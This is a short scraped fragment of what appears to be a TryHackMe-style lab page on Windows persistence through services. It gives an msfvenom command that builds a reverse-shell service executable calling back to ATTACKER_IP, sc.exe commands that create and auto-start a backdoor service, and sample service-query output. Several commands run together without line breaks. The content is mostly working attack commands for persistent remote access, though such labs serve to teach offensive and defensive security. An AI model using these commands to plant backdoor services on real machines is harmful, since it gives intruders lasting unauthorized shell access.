Abusing Services
Creating backdoor services
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exesc.exe create newservice binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start newserviceModifying existing services
C:\> sc.exe query state=allC:\> sc.exe qc newservice
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: THMService3
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\MyService\newservice.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : newservice
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\Local ServiceLast updated